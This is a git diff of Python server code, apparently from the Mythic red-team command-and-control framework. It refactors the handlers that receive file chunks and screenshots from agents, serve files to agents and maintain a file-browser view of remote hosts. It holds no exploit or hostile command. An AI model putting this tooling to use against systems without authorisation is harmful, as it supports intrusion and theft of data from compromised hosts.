- full_path=file_meta.full_remote_path.encode("unicode-escape"),
- host=file_meta.host,
+ fb_object = await app.db_objects.get(
+ db_model.filebrowserobj_query,
+ full_path=file_meta.full_remote_path,
+ host=file_meta.host.upper(),
)
if file_meta.file_browser is None:
file_meta.file_browser = fb_object
- await db_objects.update(file_meta)
+ await app.db_objects.update(file_meta)
except Exception as e:
# no associated file meta object, so create one
- await add_upload_file_to_file_browser(file_meta.operation, file_meta.task,
+ asyncio.create_task(add_upload_file_to_file_browser(file_meta.operation, file_meta.task,
file_meta, {"host": file_meta.host,
- "full_path": file_meta.full_remote_path})
+ "full_path": bytes(file_meta.full_remote_path).decode("utf-8")}))
else:
- file_meta.full_remote_path = (
- file_meta.full_remote_path + "," + data["full_path"]
- )
- await db_objects.update(file_meta)
+ file_meta.full_remote_path = data["full_path"].encode("utf-8")
+ asyncio.create_task(add_upload_file_to_file_browser(file_meta.operation, file_meta.task,
+ file_meta, {"host": file_meta.host,
+ "full_path": bytes(
+ file_meta.full_remote_path).decode(
+ 'utf-8')}))
+ await app.db_objects.update(file_meta)
if file_meta.complete and not file_meta.deleted:
chunk_size = 512000
if "chunk_size" in data:
@@ -199,71 +247,168 @@ async def download_agent_file(data, cid):
+ " requested chunk: "
+ str(data["chunk_num"])
)
- return {
- "action": "upload",
- "total_chunks": total_chunks,
- "chunk_num": 0,
- "chunk_data": "",
- "file_id": data["file_id"],
- "task_id": data["task_id"],
- }
+ if not in_response:
+ return {
+ **response_data,
+ "action": "upload",
+ "total_chunks": total_chunks,
+ "chunk_num": 0,
+ "chunk_data": "",
+ "file_id": data["file_id"],
+ "task_id": data["task_id"],
+ }
+ else:
+ return {"status": "error", "error": "requested chunk_num greater than total chunks"}
else:
chunk_num = data["chunk_num"]
# now to read the actual file and get the right chunk
- encoded_data = open(file_meta.path, "rb")
- encoded_data.seek(chunk_size * (chunk_num - 1), 0)
- encoded_data = encoded_data.read(chunk_size)
- encoded_data = base64.b64encode(encoded_data).decode()
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, using chunk_size of {str(chunk_size)}, getting chunk {str(chunk_num)}",
+ level="info", operation=file_meta.operation, source="debug")
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, using chunk_size of {str(chunk_size)}, getting chunk {str(chunk_num)}",
+ level="info", operation=file_meta.operation, source="debug")
+ encoded_data = ""
+ try:
+ encoded_data = open(file_meta.path, "rb")
+ encoded_data.seek(chunk_size * (chunk_num - 1), 0)
+ encoded_data = encoded_data.read(chunk_size)
+ encoded_data = base64.b64encode(encoded_data).decode()
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, successfully opened and got chunk data",
+ level="info", operation=file_meta.operation, source="debug")
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, successfully opened and got chunk data",
+ level="info", operation=file_meta.operation, source="debug")
+ except Exception as e:
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ if in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, failed to open and read file {file_meta.path}: {str(e)}",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, failed to open and read file {file_meta.path}: {str(e)}",
+ level="info", source="debug", operation=file_meta.operation)
# if this is a temp, we should remove the file afterwards
if file_meta.delete_after_fetch:
# only do this if we actually finished reading it
if chunk_num == total_chunks:
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, deleting off disk",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, deleting off disk",
+ level="info", source="debug", operation=file_meta.operation)
os.remove(file_meta.path)
# if this is a payload based file that was auto-generated, don't mark it as deleted
- query = await db_model.payload_query()
try:
- payload = await db_objects.get(query, file_id=file_meta)
+ payload = await app.db_objects.get(db_model.payload_query, file=file_meta)
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, finished pulling down the payload, not marking as deleted though",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, finished pulling down the payload, not marking as deleted though",
+ level="info", source="debug", operation=file_meta.operation)
except Exception as e:
file_meta.deleted = True
- await db_objects.update(file_meta)
- return {
- "action": "upload",
- "total_chunks": total_chunks,
- "chunk_num": chunk_num,
- "chunk_data": encoded_data,
- "file_id": data["file_id"],
- "task_id": data["task_id"],
- }
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, finished pull down the file, marking as deleted",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, finished pull down the file, marking as deleted",
+ level="info", source="debug", operation=file_meta.operation)
+ await app.db_objects.update(file_meta)
+ if not in_response:
+ return {
+ **response_data,
+ "action": "upload",
+ "total_chunks": total_chunks,
+ "chunk_num": chunk_num,
+ "chunk_data": encoded_data,
+ "file_id": data["file_id"],
+ "task_id": data["task_id"],
+ }
+ else:
+ return {
+ "status": "success",
+ "total_chunks": total_chunks,
+ "chunk_num": chunk_num,
+ "chunk_data": encoded_data,
+ "file_id": data["file_id"],
+ "task_id": data["task_id"]}
elif file_meta.deleted:
logger.exception("File is deleted: " + data["file_id"])
- return {
- "action": "upload",
- "total_chunks": 0,
- "chunk_num": 0,
- "chunk_data": "",
- "file_id": data["file_id"],
- "task_id": data["task_id"],
- }
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, but file was deleted, so it cannot be fetched",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, but file was deleted, so it cannot be fetched",
+ level="info", source="debug", operation=file_meta.operation)
+ if not in_response:
+ return {
+ **response_data,
+ "action": "upload",
+ "total_chunks": 0,
+ "chunk_num": 0,
+ "chunk_data": "",
+ "file_id": data["file_id"],
+ "task_id": data["task_id"],
+ }
+ else:
+ return {"status": "error", "error": "File deleted"}
else:
logger.exception(
"file not done downloading in download_agent_file: " + data["file_id"]
)
- return {
- "action": "upload",
- "total_chunks": 0,
- "chunk_num": 0,
- "chunk_data": "",
- "file_id": data["file_id"],
- "task_id": data["task_id"],
- }
+ if app.debugging_enabled:
+ if not in_response:
+ await send_all_operations_message(
+ message=f"action 'Upload' for file_id {file_meta.agent_file_id}, but file not completely on host yet, so it cannot be fetched",
+ level="info", source="debug", operation=file_meta.operation)
+ else:
+ await send_all_operations_message(
+ message=f"post_response of uploading file for file_id {file_meta.agent_file_id}, but file not completely on host yet, so it cannot be fetched",
+ level="info", source="debug", operation=file_meta.operation)
+ if not in_response:
+ return {
+ **response_data,
+ "action": "upload",
+ "total_chunks": 0,
+ "chunk_num": 0,
+ "chunk_data": "",
+ "file_id": data["file_id"],
+ "task_id": data["task_id"],
+ }
+ else:
+ return {"status": "error", "error": "File not fully transfered"}
-@mythic.route(mythic.config["API_BASE"] + "/files/", methods=["DELETE"])
+@mythic.route(mythic.config["API_BASE"] + "/files/", methods=["DELETE"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def delete_filemeta_in_database(request, user, id):
+async def delete_filemeta_in_database(request, user, fid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -272,14 +417,11 @@ async def delete_filemeta_in_database(request, user, id):
if user["view_mode"] == "spectator":
return json({"status": "error", "error": "Spectators cannot delete files"})
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filemeta_query()
- filemeta = await db_objects.get(query, id=id, operation=operation)
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ filemeta = await app.db_objects.get(db_model.filemeta_query, id=fid, operation=operation)
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
except Exception as e:
- print(e)
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json(
{
"status": "error",
@@ -289,16 +431,17 @@ async def delete_filemeta_in_database(request, user, id):
status = {"status": "success"}
filemeta.deleted = True
try:
- await db_objects.update(filemeta)
+ await app.db_objects.update(filemeta)
except Exception as e:
status = {"status": "error", "error": str(e)}
try:
os.remove(filemeta.path)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operator=None,
operation=operation,
- message="{} deleted {} from Shared File Hosting".format(operator.username, filemeta.filename),
+ message="{} deleted {}".format(operator.username, bytes(filemeta.filename)
+ .decode("utf-8")),
)
except Exception as e:
pass
@@ -311,12 +454,10 @@ async def create_filemeta_in_database_func(data):
if "total_chunks" not in data:
return {"status": "error", "error": "total_chunks required"}
try:
- query = await db_model.task_query()
- task = await db_objects.get(query, id=data["task"])
+ task = await app.db_objects.get(db_model.task_query, id=data["task"])
operation = task.callback.operation
except Exception as e:
- print("{} {}".format(str(sys.exc_info()[-1].tb_lineno), str(e)))
- print("file_api.py")
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "failed to find task"}
try:
if "full_path" in data and data["full_path"] != "":
@@ -342,6 +483,10 @@ async def create_filemeta_in_database_func(data):
filename = PureWindowsPath(filename)
except Exception as e:
filename = Path(task.params)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', determined filename to be {filename}",
+ level="info", source="debug", operation=task.callback.operation)
is_screenshot = False
if task.command.cmd == "screencapture" or task.command.cmd == "screenshot":
is_screenshot = True
@@ -351,44 +496,72 @@ async def create_filemeta_in_database_func(data):
data["full_path"] = ""
if "host" not in data or data["host"] is None or data["host"] == "":
data["host"] = task.callback.host
+ else:
+ data["host"] = data["host"].upper()
# check and see if there's a filebrowserobj that matches our full path
- query = await db_model.filebrowserobj_query()
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', determined is_screenshot ({is_screenshot}), full remote path ({data['full_path']}, and the associated host ({data['host']})",
+ level="info", source="debug", operation=task.callback.operation)
file_browser = None
try:
if not is_screenshot:
- fb_object = await db_objects.get(
- query,
- full_path=data["full_path"].encode("unicode-escape"),
- host=data["host"].upper().encode("unicode-escape"),
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', checking if there's a file browser object for the full path of {data['full_path']} on host {data['host']}",
+ level="info", source="debug", operation=task.callback.operation)
+ fb_object = await app.db_objects.get(
+ db_model.filebrowserobj_query,
+ full_path=data["full_path"].encode("utf-8"),
+ host=data["host"].upper(),
)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', found a matching file browser object!",
+ level="info", source="debug", operation=task.callback.operation)
file_browser = fb_object
except Exception as e:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', did not find a file browser object",
+ level="info", source="debug", operation=task.callback.operation)
pass
file_agent_id = str(uuid.uuid4())
file_path = "./app/files/{}".format(file_agent_id)
complete = data['total_chunks'] == 0
- filemeta = await db_objects.create(
+ chunk_size = 512000
+ if "chunk_size" in data and data["chunk_size"] is not None:
+ chunk_size = data["chunk_size"]
+ filemeta = await app.db_objects.create(
FileMeta,
agent_file_id=file_agent_id,
path=file_path,
+ chunk_size=chunk_size,
total_chunks=data["total_chunks"],
task=task,
complete=complete,
operation=operation,
operator=task.operator,
- full_remote_path=data["full_path"].encode("unicode-escape"),
+ full_remote_path=data["full_path"].encode("utf-8"),
delete_after_fetch=False,
is_screenshot=is_screenshot,
file_browser=file_browser,
- filename=filename.name,
+ filename=filename.name.encode("utf-8"),
is_download_from_agent=True,
- host=data["host"].upper().encode("unicode-escape"),
+ host=data["host"].upper(),
)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', registered new file:\n{filemeta.to_json()}",
+ level="info", source="debug", operation=task.callback.operation)
if filemeta.is_screenshot:
- await log_to_siem(task.to_json(), mythic_object="file_screenshot")
+ asyncio.create_task(log_to_siem(mythic_object=task, mythic_source="file_screenshot"))
except Exception as e:
- print("{} {}".format(str(sys.exc_info()[-1].tb_lineno), str(e)))
- print("file_api.py")
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', failed to create file: {str(e)}",
+ level="info")
return {"status": "error", "error": "failed to create file"}
status = {"status": "success"}
return {**status, **filemeta.to_json()}
@@ -412,10 +585,8 @@ async def create_filemeta_in_database_manual(request, user):
else:
data = request.json
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
except Exception as e:
return json(
{"status": "error", "error": "not registered in a current operation"}
@@ -433,7 +604,7 @@ async def create_filemeta_in_database_manual(request, user):
"error": "specified remote file, but did not upload anything",
}
)
- file_meta = await db_objects.create(
+ file_meta = await app.db_objects.create(
FileMeta,
total_chunks=1,
operation=operation,
@@ -442,7 +613,7 @@ async def create_filemeta_in_database_manual(request, user):
chunks_received=1,
operator=operator,
delete_after_fetch=False,
- filename=filename,
+ filename=filename.encode("utf-8"),
)
os.makedirs("./app/files/", exist_ok=True)
path = "./app/files/{}".format(file_meta.agent_file_id)
@@ -452,8 +623,8 @@ async def create_filemeta_in_database_manual(request, user):
file_meta.md5 = await hash_MD5(code)
file_meta.sha1 = await hash_SHA1(code)
file_meta.path = path
- await db_objects.update(file_meta)
- await db_objects.create(
+ await app.db_objects.update(file_meta)
+ await app.db_objects.create(
db_model.OperationEventLog,
operator=None,
operation=operation,
@@ -461,52 +632,82 @@ async def create_filemeta_in_database_manual(request, user):
operator.username, filename, file_meta.agent_file_id
),
)
- await log_to_siem(file_meta.to_json(), mythic_object="file_manual_upload")
+ asyncio.create_task(log_to_siem(mythic_object=file_meta, mythic_source="file_manual_upload"))
return json({"status": "success", **file_meta.to_json()})
async def download_file_to_disk_func(data):
# upload content blobs to be associated with filemeta id
if "chunk_num" not in data:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', got chunk_data, but not chunk_num",
+ level="info", source="debug")
return {"status": "error", "error": "missing chunk_num"}
if "chunk_data" not in data:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', failed to find chunk_data",
+ level="info", source="debug")
return {"status": "error", "error": "missing chunk data"}
try:
- query = await db_model.filemeta_query()
- file_meta = await db_objects.get(query, agent_file_id=data["file_id"])
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=data["file_id"])
except Exception as e:
- print(e)
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', failed to find file for file_id of {data['file_id']}",
+ level="info", source="debug")
return {"status": "error", "error": "failed to get File info"}
try:
# print("trying to base64 decode chunk_data")
if data["chunk_num"] <= file_meta.chunks_received:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download' for file {file_meta.agent_file_id}, received {file_meta.chunks_received} so far, but just got chunk {str(data['chunk_num'])}, which is out of order",
+ level="info", source="debug", operation=file_meta.operation)
return {"status": "error", "error": "out of order or duplicate chunk"}
chunk_data = base64.b64decode(data["chunk_data"])
f = open(file_meta.path, "ab")
f.write(chunk_data)
f.close()
- async with db_objects.atomic():
- file_meta = await db_objects.get(query, agent_file_id=data["file_id"])
+ async with app.db_objects.atomic():
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=data["file_id"])
file_meta.chunks_received = file_meta.chunks_received + 1
if "host" in data and data["host"] is not None and data["host"] != "":
- file_meta.host = data["host"].upper().encode("unicode-escape")
+ file_meta.host = data["host"].upper()
if "full_path" in data and data["full_path"] is not None and data["full_path"] != "":
- file_meta.full_remote_path = data["full_path"].encode("unicode-escape")
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download' for file {file_meta.agent_file_id}, got full_path data with chunk_data, setting full remote path for the file to be {data['full_path']}",
+ level="info", source="debug", operation=file_meta.operation)
+ file_meta.full_remote_path = data["full_path"].encode("utf-8")
if file_meta.file_browser is None:
- await add_upload_file_to_file_browser(file_meta.operation, file_meta.task, file_meta,
- {"host": file_meta.host,
- "full_path": file_meta.full_remote_path})
- # print("received chunk num {}".format(data['chunk_num']))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download' for file {file_meta.agent_file_id}, got full_path with chunk_data and no file browser data associated with file, {data['full_path']}, creating that now",
+ level="info", source="debug", operation=file_meta.operation)
+ asyncio.create_task(add_upload_file_to_file_browser(file_meta.operation, file_meta.task, file_meta,
+ {"host": file_meta.host.upper(),
+ "full_path": bytes(file_meta.full_remote_path).decode("utf-8")}))
if file_meta.chunks_received == file_meta.total_chunks:
file_meta.complete = True
contents = open(file_meta.path, "rb").read()
file_meta.md5 = await hash_MD5(contents)
file_meta.sha1 = await hash_SHA1(contents)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download' for file {file_meta.agent_file_id}, finished downloading file. Creating MD5 and SHA1 hashes",
+ level="info", source="debug", operation=file_meta.operation)
if not file_meta.is_screenshot:
- await log_to_siem(file_meta.to_json(), mythic_object="file_download")
- await db_objects.update(file_meta)
+ asyncio.create_task(log_to_siem(mythic_object=file_meta, mythic_source="file_download"))
+ await app.db_objects.update(file_meta)
except Exception as e:
- print("Failed to save chunk to disk: " + str(e))
+ logger.warning("file_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"in 'Download', failed to save chunk to disk: {str(e)}",
+ level="info", source="debug", operation=file_meta.operation)
return {"status": "error", "error": "failed to store chunk: " + str(e)}
return {"status": "success"}
@@ -523,11 +724,9 @@ async def list_all_screencaptures_per_operation(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
if user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filemeta_query()
- screencaptures = await db_objects.execute(
- query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ screencaptures = await app.db_objects.execute(
+ db_model.filemeta_query.where(
(FileMeta.operation == operation) & (FileMeta.is_screenshot == True)
)
)
@@ -545,30 +744,28 @@ async def list_all_screencaptures_per_operation(request, user):
@mythic.route(
- mythic.config["API_BASE"] + "/files/screencaptures/bycallback/",
+ mythic.config["API_BASE"] + "/files/screencaptures/bycallback/",
methods=["GET"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def list_all_screencaptures_per_callback(request, user, id):
+async def list_all_screencaptures_per_callback(request, user, fid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=id)
+ callback = await app.db_objects.get(db_model.callback_query, id=fid)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find callback"})
screencapture_paths = []
if callback.operation.name in user["operations"]:
- query = await db_model.filemeta_query()
- screencaptures = await db_objects.prefetch(
- query.where(
+ screencaptures = await app.db_objects.prefetch(
+ db_model.filemeta_query.where(
(FileMeta.operation == callback.operation)
& (FileMeta.is_screenshot == True)
)
@@ -597,14 +794,13 @@ async def list_all_screencaptures_per_callback(request, user, id):
) # user or user-level api token are ok
async def get_screencapture(request, user, id):
try:
- query = await db_model.filemeta_query()
- file_meta = await db_objects.get(query, agent_file_id=id)
+ file_meta = await app.db_objects.get(db_model.filemeta_query, agent_file_id=id)
except Exception as e:
print("error in get_screencapture: " + str(e))
return json({"status": "error", "error": "failed to find callback"})
try:
if file_meta.operation.name in user["operations"]:
- return await file(file_meta.path, filename=file_meta.filename)
+ return await file_stream(file_meta.path, filename=bytes(file_meta.filename).decode("utf-8"))
except Exception as e:
return json({"status": "error", "error": "failed to read screenshot from disk"})
else:
@@ -633,30 +829,27 @@ async def download_zipped_files(request, user):
return abort(404, "missing 'files' value")
# need to make aa temporary directory, copy all the files there, zip it, return that and clean up temp dir
temp_id = str(uuid.uuid4())
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
working_dir = "./app/files/{}/".format(str(uuid.uuid4()))
os.makedirs(working_dir, exist_ok=True)
- query = await db_model.filemeta_query()
mapping = {}
for file_id in data["files"]:
try:
- cur_file = await db_objects.get(
- query, agent_file_id=file_id, operation=operation, deleted=False
+ cur_file = await app.db_objects.get(
+ db_model.filemeta_query, agent_file_id=file_id, operation=operation, deleted=False
)
shutil.copy(
cur_file.path, working_dir + os.path.basename(cur_file.path)
)
- mapping[os.path.basename(cur_file.path)] = cur_file.filename
+ mapping[os.path.basename(cur_file.path)] = bytes(cur_file.filename).decode("utf-8")
except Exception as e:
print(str(e))
with open("{}/mapping.json".format(working_dir), "w") as f:
f.write(js.dumps(mapping, indent=2, sort_keys=True))
shutil.make_archive("./app/files/{}".format(temp_id), "zip", working_dir)
shutil.rmtree(working_dir)
- file_meta = await db_objects.create(
+ file_meta = await app.db_objects.create(
FileMeta,
total_chunks=1,
operation=operation,
@@ -665,7 +858,7 @@ async def download_zipped_files(request, user):
chunks_received=1,
operator=operator,
delete_after_fetch=False,
- filename="Mythic_Downloads.zip",
+ filename="Mythic_Downloads.zip".encode("utf-8"),
)
return json({"status": "success", "file_id": file_meta.agent_file_id})
except Exception as e:
diff --git a/mythic-docker/app/api/file_browser_api.py b/mythic-docker/app/api/file_browser_api.py
index dc077b9c5..5eb24e89c 100644
--- a/mythic-docker/app/api/file_browser_api.py
+++ b/mythic-docker/app/api/file_browser_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
@@ -6,9 +7,9 @@
from pathlib import PureWindowsPath, PurePosixPath
import sys
import ujson as js
-import treelib
from peewee import fn
from math import ceil
+from sanic.log import logger
@mythic.route(mythic.config["API_BASE"] + "/filebrowserobj/", methods=["GET"])
@@ -22,8 +23,7 @@ async def get_all_filebrowserobj(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.filebrowserobj_query()
- objs = await db_objects.execute(query)
+ objs = await app.db_objects.execute(db_model.filebrowserobj_query)
output = []
for o in objs:
output.append(o.to_json())
@@ -47,14 +47,12 @@ async def get_all_filebrowsertree(request, user):
async def get_filebrowser_tree_for_operation(operation_name):
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=operation_name)
+ operation = await app.db_objects.get(db_model.operation_query, name=operation_name)
except Exception as e:
return {"status": "error", "error": "failed to find operation name"}
try:
- query = await db_model.filebrowserobj_query()
- objs = await db_objects.execute(
- query.where(
+ objs = await app.db_objects.execute(
+ db_model.filebrowserobj_query.where(
(db_model.FileBrowserObj.operation == operation) &
(db_model.FileBrowserObj.is_file == False) &
(db_model.FileBrowserObj.parent == None)
@@ -83,7 +81,7 @@ async def store_response_into_filebrowserobj(operation, task, response):
"error": "Failed to parse and handle file browser objects",
}
if "host" not in response or response["host"] == "" or response["host"] is None:
- response["host"] = task.callback.host
+ response["host"] = task.callback.host.upper()
# now that we have the immediate parent and all parent hierarchy create, deal with current obj and sub objects
try:
if (
@@ -96,47 +94,40 @@ async def store_response_into_filebrowserobj(operation, task, response):
else:
parent_path = PureWindowsPath(response["parent_path"])
blank_root = PureWindowsPath("")
- query = await db_model.filebrowserobj_query()
parent_path_str = str(parent_path) if not parent_path == blank_root else ""
try:
- filebrowserobj = await db_objects.get(
- query,
+ filebrowserobj = await app.db_objects.get(
+ db_model.filebrowserobj_query,
operation=operation,
- host=response["host"].upper().encode("unicode-escape"),
- name=response["name"].encode("unicode-escape"),
+ host=response["host"].upper(),
+ name=response["name"].encode("utf-8"),
is_file=response["is_file"],
parent=parent,
- parent_path=str(parent_path_str).encode("unicode-escape"),
+ parent_path=str(parent_path_str).encode("utf-8"),
)
filebrowserobj.task = task
- filebrowserobj.permissions = js.dumps(response["permissions"]).encode(
- "unicode-escape"
- )
- filebrowserobj.access_time = response["access_time"].encode(
- "unicode-escape"
- )
- filebrowserobj.modify_time = response["modify_time"].encode(
- "unicode-escape"
- )
- filebrowserobj.size = str(response["size"]).encode("unicode_escape")
+ filebrowserobj.permissions = js.dumps(response["permissions"]).encode("utf-8")
+ filebrowserobj.access_time = response["access_time"].encode("utf-8")
+ filebrowserobj.modify_time = response["modify_time"].encode("utf-8")
+ filebrowserobj.size = str(response["size"]).encode("utf-8")
filebrowserobj.success = response["success"]
filebrowserobj.deleted = False
- await db_objects.update(filebrowserobj)
+ await app.db_objects.update(filebrowserobj)
except Exception as e:
- filebrowserobj = await db_objects.create(
+ filebrowserobj = await app.db_objects.create(
db_model.FileBrowserObj,
task=task,
operation=operation,
- host=response["host"].upper().encode("unicode-escape"),
- name=response["name"].encode("unicode-escape"),
- permissions=js.dumps(response["permissions"]).encode("unicode-escape"),
+ host=response["host"].upper(),
+ name=response["name"].encode("utf-8"),
+ permissions=js.dumps(response["permissions"]).encode("utf-8"),
parent=parent,
- parent_path=str(parent_path_str).encode("unicode-escape"),
- full_path=str(parent_path / response["name"]).encode("unicode_escape"),
- access_time=response["access_time"].encode("unicode-escape"),
- modify_time=response["modify_time"].encode("unicode-escape"),
+ parent_path=str(parent_path_str).encode("utf-8"),
+ full_path=str(parent_path / response["name"]).encode("utf-8"),
+ access_time=response["access_time"].encode("utf-8"),
+ modify_time=response["modify_time"].encode("utf-8"),
is_file=response["is_file"],
- size=str(response["size"]).encode("unicode-escape"),
+ size=str(response["size"]).encode("utf-8"),
success=response["success"],
)
if (
@@ -149,76 +140,97 @@ async def store_response_into_filebrowserobj(operation, task, response):
parent_path = parent_path.joinpath(response["name"])
for f in response["files"]:
try:
- newfileobj = await db_objects.get(
- query,
+ newfileobj = await app.db_objects.get(
+ db_model.filebrowserobj_query,
operation=operation,
- host=response["host"].upper().encode("unicode-escape"),
- name=f["name"].encode("unicode-escape"),
+ host=response["host"].upper(),
+ name=f["name"].encode("utf-8"),
is_file=f["is_file"],
parent=filebrowserobj,
- parent_path=str(parent_path).encode("unicode-escape"),
+ parent_path=str(parent_path).encode("utf-8"),
)
newfileobj.task = task
- newfileobj.permissions = js.dumps(f["permissions"]).encode(
- "unicode-escape"
- )
- newfileobj.access_time = f["access_time"].encode("unicode-escape")
- newfileobj.modify_time = f["modify_time"].encode("unicode-escape")
- newfileobj.size = str(f["size"]).encode("unicode_escape")
+ newfileobj.permissions = js.dumps(f["permissions"]).encode("utf-8")
+ newfileobj.access_time = f["access_time"].encode("utf-8")
+ newfileobj.modify_time = f["modify_time"].encode("utf-8")
+ newfileobj.size = str(f["size"]).encode("utf-8")
newfileobj.deleted = False
- await db_objects.update(newfileobj)
+ await app.db_objects.update(newfileobj)
except Exception as e:
- await db_objects.create(
+ await app.db_objects.create(
db_model.FileBrowserObj,
task=task,
operation=operation,
- host=response["host"].upper().encode("unicode-escape"),
+ host=response["host"].upper(),
parent=filebrowserobj,
- permissions=js.dumps(f["permissions"]).encode("unicode-escape"),
- parent_path=str(parent_path).encode("unicode-escape"),
- access_time=f["access_time"].encode("unicode-escape"),
- modify_time=f["modify_time"].encode("unicode-escape"),
- size=str(f["size"]).encode("unicode-escape"),
+ permissions=js.dumps(f["permissions"]).encode("utf-8"),
+ parent_path=str(parent_path).encode("utf-8"),
+ access_time=f["access_time"].encode("utf-8"),
+ modify_time=f["modify_time"].encode("utf-8"),
+ size=str(f["size"]).encode("utf-8"),
is_file=f["is_file"],
- name=f["name"].encode("unicode-escape"),
- full_path=str(parent_path / f["name"]).encode("unicode-escape"),
+ name=f["name"].encode("utf-8"),
+ full_path=str(parent_path / f["name"]).encode("utf-8"),
)
+ if "update_deleted" in response and response["update_deleted"] and response["success"]:
+ # go through and mark all files/folders not associated with this task as deleted
+ base_files = await app.db_objects.execute(db_model.filebrowserobj_query.where(
+ (db_model.FileBrowserObj.task != task) &
+ (db_model.FileBrowserObj.parent == filebrowserobj) &
+ (db_model.FileBrowserObj.operation == operation)
+ ))
+ for f in base_files:
+ # this file object is not associated with this task but has the same parent folder, so it's gone
+ f.deleted = True
+ if not f.is_file:
+ # this is a folder that was deleted, so make sure we mark all of its children as deleted
+ await mark_nested_deletes(f, operation)
+ await app.db_objects.update(f)
return {"status": "success"}
except Exception as e:
- print(sys.exc_info()[-1].tb_lineno)
- print("file_browser_api.py: " + str(e))
+ logger.warning("file_browser_api.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": str(e)}
